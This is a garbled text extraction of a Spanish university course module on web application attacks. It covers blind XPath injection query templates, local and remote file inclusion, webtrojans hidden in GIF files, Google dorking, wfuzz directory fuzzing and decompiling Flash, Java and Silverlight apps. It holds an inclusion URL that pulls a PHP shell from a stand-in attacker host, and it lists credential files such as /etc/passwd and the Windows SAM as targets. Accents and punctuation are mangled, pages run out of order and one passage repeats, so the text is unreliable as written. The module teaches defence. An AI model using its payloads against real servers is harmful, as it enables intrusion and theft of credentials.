una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 52: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

